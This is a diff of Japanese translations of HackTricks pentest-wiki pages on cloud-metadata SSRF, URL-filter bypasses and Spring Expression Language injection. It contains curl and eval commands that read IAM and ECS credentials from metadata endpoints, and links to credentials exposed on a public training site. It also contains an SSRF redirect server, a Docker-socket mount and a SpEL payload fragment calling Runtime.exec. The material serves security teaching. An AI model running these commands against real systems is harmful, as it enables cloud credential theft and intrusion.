メタデータエンドポイントには**2つのバージョン**があります。**最初の**バージョンは、**GET**リクエストを介してエンドポイントに**アクセス**することを許可します(したがって、**SSRFはこれを悪用できます**)。**バージョン2**、[IMDSv2](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/configuring-instance-metadata-service.html)では、**トークン**を要求するために**PUT**リクエストを送信し、**HTTPヘッダー**を使用して、そのトークンを使って別のHTTPヘッダーでメタデータにアクセスする必要があります(したがって、**SSRFで悪用するのはより複雑です**)。
|
||||
|
||||
{% hint style="danger" %}
|
||||
EC2インスタンスがIMDSv2を強制している場合、[**ドキュメントによると**](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instance-metadata-v2-how-it-works.html)、**PUTリクエストの応答**は**ホップ制限が1**になり、EC2インスタンス内のコンテナからEC2メタデータにアクセスすることが不可能になります。
|
||||
|
||||
さらに、**IMDSv2**は、**`X-Forwarded-For`ヘッダーを含むトークンを取得するためのリクエストもブロックします**。これは、誤って構成されたリバースプロキシがアクセスできないようにするためです。
|
||||
さらに、**IMDSv2**は、**`X-Forwarded-For`ヘッダーを含むトークンを取得するためのリクエストもブロックします**。これは、誤って設定されたリバースプロキシがアクセスできないようにするためです。
|
||||
{% endhint %}
|
||||
|
||||
[メタデータエンドポイントに関する情報はドキュメントで確認できます](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html)。次のスクリプトでは、そこからいくつかの興味深い情報が取得されます:
|
||||
|
@ -97,9 +89,9 @@ echo ""
|
|||
echo "EC2 Security Credentials"
|
||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||
```
|
||||
**公開されているIAM資格情報**の例として、次のリンクを訪問できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
公開されている**IAM資格情報**の例として、次のリンクを訪問できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||
|
||||
また、次のリンクで**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
また、次のリンクで公開されている**EC2セキュリティ資格情報**を確認できます: [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||
|
||||
その後、**これらの資格情報をAWS CLIで使用する**ことができます。これにより、**そのロールが持つ権限でできることは何でも**行うことができます。
|
||||
|
||||
|
@ -118,7 +110,7 @@ aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4
|
|||
|
||||
**ECS**は、アプリケーションを実行するためのEC2インスタンスの論理グループであり、ECSがクラスター管理インフラストラクチャを管理するため、自分でスケールする必要はありません。**ECS**で実行されているサービスを侵害することに成功すれば、**メタデータエンドポイントが変更されます**。
|
||||
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_ にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**\<GUID>**を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読む必要があります。\
|
||||
_**http://169.254.170.2/v2/credentials/\<GUID>**_にアクセスすると、ECSマシンの資格情報が見つかります。しかし、まずは**\<GUID>**を見つける必要があります。\<GUID>を見つけるには、マシン内の**environ**変数**AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI**を読む必要があります。\
|
||||
**Path Traversal**を利用して`file:///proc/self/environ`を読み取ることができるかもしれません。\
|
||||
前述のhttpアドレスは、**AccessKey、SecretKey、およびトークン**を提供するはずです。
|
||||
```bash
|
||||
|
@ -130,7 +122,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
|
||||
### AWS LambdaのSSRF <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
||||
この場合、**資格情報は環境変数に保存されています**。したがって、それらにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
|
||||
この場合、**資格情報は環境変数に保存されています**。したがって、それにアクセスするには、**`file:///proc/self/environ`**のようなものにアクセスする必要があります。
|
||||
|
||||
**興味深い環境変数**の**名前**は次のとおりです:
|
||||
|
||||
|
@ -141,7 +133,7 @@ curl "http://169.254.170.2$AWS_CONTAINER_CREDENTIALS_RELATIVE_URI" 2>/dev/null |
|
|||
さらに、IAM資格情報に加えて、Lambda関数には**関数が起動されるときに関数に渡されるイベントデータ**もあります。このデータは[ランタイムインターフェース](https://docs.aws.amazon.com/lambda/latest/dg/runtimes-api.html)を介して関数に提供され、**機密**の**情報**(**stageVariables**内のような)を含む可能性があります。IAM資格情報とは異なり、このデータは標準のSSRFを介して**`http://localhost:9001/2018-06-01/runtime/invocation/next`**でアクセス可能です。
|
||||
|
||||
{% hint style="warning" %}
|
||||
**lambda資格情報**は**環境変数**の中にあります。したがって、**スタックトレース**が環境変数を印刷する場合、アプリでエラーを引き起こすことによって**それらを流出させる**ことが可能です。
|
||||
**lambda資格情報**は**環境変数**内にあります。したがって、**スタックトレース**が環境変数を印刷する場合、アプリでエラーを引き起こすことによって**それらを流出させる**ことが可能です。
|
||||
{% endhint %}
|
||||
|
||||
### AWS Elastic BeanstalkのSSRF URL <a href="#id-6f97" id="id-6f97"></a>
|
||||
|
@ -157,7 +149,7 @@ http://169.254.169.254/latest/meta-data/iam/security-credentials/aws-elasticbean
|
|||
```
|
||||
![](https://miro.medium.com/max/60/0\*4OG-tRUNhpBK96cL?q=20) ![](https://miro.medium.com/max/1469/0\*4OG-tRUNhpBK96cL)
|
||||
|
||||
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`で資格情報を使用します。
|
||||
次に、`aws s3 ls s3://elasticbeanstalk-us-east-2-[ACCOUNT_ID]/`の資格情報を使用します。
|
||||
|
||||
## GCP <a href="#id-6440" id="id-6440"></a>
|
||||
|
||||
|
@ -276,7 +268,7 @@ gcloud config unset auth/access_token_file
|
|||
```
|
||||
http://metadata.google.internal/computeMetadata/v1beta1/instance/service-accounts/default/token?alt=json
|
||||
```
|
||||
トークンのスコープを確認します(前の出力を使用するか、次を実行します)
|
||||
トークンのスコープを確認します(前の出力を使用するか、次のコマンドを実行します)
|
||||
```bash
|
||||
curl https://www.googleapis.com/oauth2/v1/tokeninfo?access_token=ya29.XXXXXKuXXXXXXXkGT0rJSA {
|
||||
"issued_to": "101302079XXXXX",
|
||||
|
@ -346,7 +338,7 @@ curl http://169.254.169.254/metadata/v1.json | jq
|
|||
|
||||
### Azure VM
|
||||
|
||||
[**Docs** こちら](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
[**Docs** はこちら](https://learn.microsoft.com/en-us/azure/virtual-machines/windows/instance-metadata-service?tabs=linux).
|
||||
|
||||
* **必ず** ヘッダー `Metadata: true` を含む必要があります
|
||||
* `X-Forwarded-For` ヘッダーを **含んではいけません**
|
||||
|
@ -398,7 +390,7 @@ $userData = Invoke- RestMethod -Headers @{"Metadata"="true"} -Method GET -Uri "h
|
|||
|
||||
### Azure App Service
|
||||
|
||||
**env** から `IDENTITY_HEADER` _および_ `IDENTITY_ENDPOINT` の値を取得できます。それを使用して、メタデータサーバーと通信するためのトークンを取得できます。
|
||||
**env** から `IDENTITY_HEADER` _および_ `IDENTITY_ENDPOINT` の値を取得できます。それを使用してメタデータサーバーと通信するためのトークンを取得できます。
|
||||
|
||||
ほとんどの場合、次のリソースのいずれかのトークンが必要です:
|
||||
|
||||
|
@ -514,13 +506,13 @@ Packetcloudのメタデータにアクセスするためのドキュメントは
|
|||
|
||||
## OpenStack/RackSpace
|
||||
|
||||
ヘッダーの必要性は言及されていません。メタデータには以下を通じてアクセスできます:
|
||||
ヘッダーの必要性は言及されていません。メタデータには次の方法でアクセスできます:
|
||||
|
||||
* `http://169.254.169.254/openstack`
|
||||
|
||||
## HP Helion
|
||||
|
||||
ここでもヘッダーの必要性は言及されていません。メタデータには以下でアクセスできます:
|
||||
ここでもヘッダーの必要性は言及されていません。メタデータには次の場所でアクセスできます:
|
||||
|
||||
* `http://169.254.169.254/2009-04-04/meta-data/`
|
||||
|
||||
|
@ -543,7 +535,7 @@ Alibabaは、インスタンスおよびイメージIDを含むメタデータ
|
|||
|
||||
## Kubernetes ETCD
|
||||
|
||||
Kubernetes ETCDはAPIキー、内部IPアドレス、およびポートを保持できます。アクセスは以下を通じて示されています:
|
||||
Kubernetes ETCDは、APIキー、内部IPアドレス、およびポートを保持できます。アクセスは次のように示されます:
|
||||
|
||||
* `curl -L http://127.0.0.1:2379/version`
|
||||
* `curl http://127.0.0.1:2379/v2/keys/?recursive=true`
|
||||
|
@ -554,25 +546,19 @@ Dockerメタデータにはローカルでアクセスでき、コンテナお
|
|||
|
||||
* Dockerソケットを介してコンテナとイメージのメタデータにアクセスするためのシンプルな例:
|
||||
* `docker run -ti -v /var/run/docker.sock:/var/run/docker.sock bash`
|
||||
* コンテナ内で、Dockerソケットを使用してcurlを使います:
|
||||
* コンテナ内で、Dockerソケットを使用してcurlを実行します:
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/containers/json`
|
||||
* `curl --unix-socket /var/run/docker.sock http://foo/images/json`
|
||||
|
||||
## Rancher
|
||||
|
||||
Rancherのメタデータには以下を使用してアクセスできます:
|
||||
Rancherのメタデータには次のようにアクセスできます:
|
||||
|
||||
* `curl http://rancher-metadata/<version>/<path>`
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
|
|
|
@ -1,29 +1,21 @@
|
|||
# URL Format Bypass
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>Support HackTricks</summary>
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してハッキングトリックを共有してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
***
|
||||
|
||||
### ローカルホスト
|
||||
### Localhost
|
||||
```bash
|
||||
# Localhost
|
||||
http://127.0.0.1:80
|
||||
|
@ -170,12 +162,12 @@ https://metadata/expected/path/..%2f..%2f/vulnerable/path
|
|||
```
|
||||
### Fuzzing
|
||||
|
||||
ツール [**recollapse**](https://github.com/0xacb/recollapse) は、与えられた入力からバリエーションを生成し、使用されている正規表現をバイパスしようとします。詳細については [**この投稿**](https://0xacb.com/2022/11/21/recollapse/) も確認してください。
|
||||
ツール [**recollapse**](https://github.com/0xacb/recollapse) は、与えられた入力からバリエーションを生成して、使用されている正規表現をバイパスしようとします。詳細については、[**この投稿**](https://0xacb.com/2022/11/21/recollapse/) も確認してください。
|
||||
|
||||
### Bypass via redirect
|
||||
|
||||
サーバーが SSRF の **元のリクエストをフィルタリングしている** 可能性がありますが、そのリクエストに対する **リダイレクト** レスポンスは **フィルタリングしていない** かもしれません。\
|
||||
例えば、`url=https://www.google.com/` を介して SSRF に脆弱なサーバーは **url パラメータをフィルタリングしている** かもしれません。しかし、リダイレクトしたい場所に [302 で応答する python サーバー](https://pastebin.com/raw/ywAUhFrv) を使用すると、127.0.0.1 のような **フィルタリングされた IP アドレス** や、gopher のようなフィルタリングされた **プロトコル** に **アクセスできる** かもしれません。\
|
||||
例えば、`url=https://www.google.com/` を介して SSRF に脆弱なサーバーは、**url パラメータをフィルタリングしている** かもしれません。しかし、リダイレクトしたい場所に [302 で応答する python サーバー](https://pastebin.com/raw/ywAUhFrv) を使用すると、127.0.0.1 のような **フィルタリングされた IP アドレス** や、gopher のようなフィルタリングされた **プロトコル** に **アクセスできる** かもしれません。\
|
||||
[このレポートをチェックしてください。](https://sirleeroyjenkins.medium.com/just-gopher-it-escalating-a-blind-ssrf-to-rce-for-15k-f5329a974530)
|
||||
```python
|
||||
#!/usr/bin/env python3
|
||||
|
@ -201,7 +193,7 @@ HTTPServer(("", int(sys.argv[1])), Redirect).serve_forever()
|
|||
|
||||
### バックスラストリック
|
||||
|
||||
_バックスラストリック_は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing)と[RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B)の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。
|
||||
_バックスラストリック_ は、[WHATWG URL Standard](https://url.spec.whatwg.org/#url-parsing) と [RFC3986](https://datatracker.ietf.org/doc/html/rfc3986#appendix-B) の違いを利用します。RFC3986はURIの一般的なフレームワークですが、WHATWGはウェブURLに特化しており、現代のブラウザに採用されています。重要な違いは、WHATWG標準がバックスラッシュ(`\`)をフォワードスラッシュ(`/`)と同等と認識している点で、これがURLの解析方法に影響を与え、特にホスト名からパスへの遷移を示します。
|
||||
|
||||
![https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg](https://bugs.xdavidhu.me/assets/posts/2021-12-30-fixing-the-unfixable-story-of-a-google-cloud-ssrf/spec\_difference.jpg)
|
||||
|
||||
|
@ -216,23 +208,18 @@ _バックスラストリック_は、[WHATWG URL Standard](https://url.spec.wha
|
|||
* [https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25](https://as745591.medium.com/albussec-penetration-list-08-server-side-request-forgery-ssrf-sample-90267f095d25)
|
||||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Request%20Forgery/README.md)
|
||||
|
||||
**Try Hard Security Group**
|
||||
|
||||
<figure><img src="../../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
AWSハッキングを学び、実践する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、実践する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
AWSハッキングを学び、練習する:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
GCPハッキングを学び、練習する: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
||||
<details>
|
||||
|
||||
<summary>HackTricksをサポートする</summary>
|
||||
|
||||
* [**サブスクリプションプラン**](https://github.com/sponsors/carlospolop)を確認してください!
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**テレグラムグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)と[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
* **💬 [**Discordグループ**](https://discord.gg/hRep4RUj7f)または[**Telegramグループ**](https://t.me/peass)に参加するか、**Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**をフォローしてください。**
|
||||
* **ハッキングトリックを共有するには、[**HackTricks**](https://github.com/carlospolop/hacktricks)および[**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud)のGitHubリポジトリにPRを提出してください。**
|
||||
|
||||
</details>
|
||||
{% endhint %}
|
||||
|
|
|
@ -15,51 +15,37 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io)は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**侵害**されているかどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
## 基本情報
|
||||
|
||||
Expression Language (EL)は、JavaEEにおいてプレゼンテーション層(例:ウェブページ)とアプリケーションロジック(例:管理されたビーン)をつなぐために不可欠であり、相互作用を可能にします。主に以下で使用されます:
|
||||
Expression Language (EL) は、JavaEE においてプレゼンテーション層(例:ウェブページ)とアプリケーションロジック(例:管理されたビーン)をつなぐために不可欠であり、相互作用を可能にします。主に以下で使用されます:
|
||||
|
||||
* **JavaServer Faces (JSF)**:UIコンポーネントをバックエンドデータ/アクションにバインドするため。
|
||||
* **JavaServer Pages (JSP)**:JSPページ内でのデータアクセスと操作のため。
|
||||
* **Java EEのためのコンテキストと依存性注入 (CDI)**:管理されたビーンとのウェブ層の相互作用を促進するため。
|
||||
* **JavaServer Faces (JSF)**:UI コンポーネントをバックエンドデータ/アクションにバインドするため。
|
||||
* **JavaServer Pages (JSP)**:JSP ページ内でのデータアクセスと操作のため。
|
||||
* **Java EE のためのコンテキストと依存性注入 (CDI)**:管理されたビーンとのウェブ層の相互作用を促進するため。
|
||||
|
||||
**使用コンテキスト**:
|
||||
|
||||
* **Spring Framework**:セキュリティやデータなどのさまざまなモジュールで適用されます。
|
||||
* **一般的な使用**:Java、Kotlin、ScalaなどのJVMベースの言語の開発者によるSpEL APIを通じて。
|
||||
* **一般的な使用**:Java、Kotlin、Scala などの JVM ベースの言語の開発者による SpEL API を通じて。
|
||||
|
||||
ELはJavaEE技術、スタンドアロン環境に存在し、`.jsp`や`.jsf`ファイル拡張子、スタックエラー、ヘッダー内の「Servlet」などを通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
|
||||
EL は JavaEE テクノロジー、スタンドアロン環境に存在し、`.jsp` または `.jsf` ファイル拡張子、スタックエラー、ヘッダー内の「Servlet」などの用語を通じて認識されます。ただし、その機能や特定の文字の使用はバージョンに依存する場合があります。
|
||||
|
||||
{% hint style="info" %}
|
||||
**ELバージョン**によっては、いくつかの**機能**が**オン**または**オフ**になっている場合があり、通常、いくつかの**文字**が**禁止**されていることがあります。
|
||||
**EL バージョン**によっては、いくつかの **機能**が **オン**または **オフ**であり、通常いくつかの **文字**が **禁止**される場合があります。
|
||||
{% endhint %}
|
||||
|
||||
## 基本例
|
||||
|
||||
(ELに関する別の興味深いチュートリアルは[https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/)で見つけることができます)
|
||||
(EL に関する別の興味深いチュートリアルは [https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/](https://pentest-tools.com/?utm_term=jul2024&utm_medium=link&utm_source=hacktricks&utm_campaign=sponsblog/exploiting-ognl-injection-in-apache-struts/) で見つけることができます)
|
||||
|
||||
[**Maven**](https://mvnrepository.com)リポジトリから以下のjarファイルをダウンロードします:
|
||||
[**Maven**](https://mvnrepository.com) リポジトリから以下の jar ファイルをダウンロードします:
|
||||
|
||||
* `commons-lang3-3.9.jar`
|
||||
* `spring-core-5.2.1.RELEASE.jar`
|
||||
* `commons-logging-1.2.jar`
|
||||
* `spring-expression-5.2.1.RELEASE.jar`
|
||||
|
||||
次に、以下の`Main.java`ファイルを作成します:
|
||||
次の `Main.java` ファイルを作成します:
|
||||
```java
|
||||
import org.springframework.expression.Expression;
|
||||
import org.springframework.expression.ExpressionParser;
|
||||
|
@ -84,7 +70,7 @@ System.out.println(result);
|
|||
```java
|
||||
javac -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main.java
|
||||
```
|
||||
アプリケーションを実行するには:
|
||||
アプリケーションを次のように実行します:
|
||||
```java
|
||||
java -cp commons-lang3-3.9.jar:spring-core-5.2.1.RELEASE.jar:spring-expression-5.2.1.RELEASE.jar:commons-lang3-3.9.jar:commons-logging-1.2.jar:. Main
|
||||
Enter a String to evaluate:
|
||||
|
@ -95,7 +81,7 @@ Enter a String to evaluate:
|
|||
|
||||
## **CVE ベースのチュートリアル**
|
||||
|
||||
**この投稿で確認してください:** [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
**この投稿**で確認してください: [**https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a**](https://xvnpw.medium.com/hacking-spel-part-1-d2ff2825f62a)
|
||||
|
||||
## ペイロード
|
||||
|
||||
|
@ -216,9 +202,9 @@ T(org.apache.commons.io.IOUtils).toString(T(java.lang.Runtime).getRuntime().exec
|
|||
* `requestScope` - リクエスト変数
|
||||
* `initParam` - アプリケーション初期化変数
|
||||
* `sessionScope` - セッション変数
|
||||
* `param.X` - httpパラメータの名前がXであるparam値
|
||||
* `param.X` - http パラメータの名前が X のパラメータ値
|
||||
|
||||
これらの変数をStringにキャストする必要があります。
|
||||
これらの変数を String にキャストする必要があります。
|
||||
```bash
|
||||
${sessionScope.toString()}
|
||||
```
|
||||
|
@ -243,18 +229,6 @@ Check [https://h1pmnh.github.io/post/writeup\_spring\_el\_waf\_bypass/](https://
|
|||
* [https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools](https://github.com/swisskyrepo/PayloadsAllTheThings/blob/master/Server%20Side%20Template%20Injection/README.md#tools)
|
||||
* [https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt](https://github.com/marcin33/hacking/blob/master/payloads/spel-injections.txt)
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ**を利用した検索エンジンで、企業やその顧客が**マルウェアによって侵害された**かどうかを確認するための**無料**機能を提供しています。
|
||||
|
||||
WhiteIntelの主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトを確認し、**無料**でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
{% hint style="success" %}
|
||||
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||
|
|
|
@ -15,44 +15,30 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
|||
</details>
|
||||
{% endhint %}
|
||||
|
||||
### [WhiteIntel](https://whiteintel.io)
|
||||
**これは次の要約です:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。詳細については確認してください(画像はそこから取得)。
|
||||
|
||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
||||
## Unicodeと正規化の理解
|
||||
|
||||
[**WhiteIntel**](https://whiteintel.io) は、**ダークウェブ** によって駆動される検索エンジンで、企業やその顧客が **盗難マルウェア** によって **侵害** されているかどうかを確認するための **無料** 機能を提供しています。
|
||||
|
||||
WhiteIntel の主な目標は、情報を盗むマルウェアによるアカウント乗っ取りやランサムウェア攻撃と戦うことです。
|
||||
|
||||
彼らのウェブサイトをチェックし、**無料** でエンジンを試すことができます:
|
||||
|
||||
{% embed url="https://whiteintel.io" %}
|
||||
|
||||
***
|
||||
|
||||
**これは次の内容の要約です:** [**https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/**](https://appcheck-ng.com/unicode-normalization-vulnerabilities-the-special-k-polyglot/)。詳細については確認してください(画像はそこから取得)。
|
||||
|
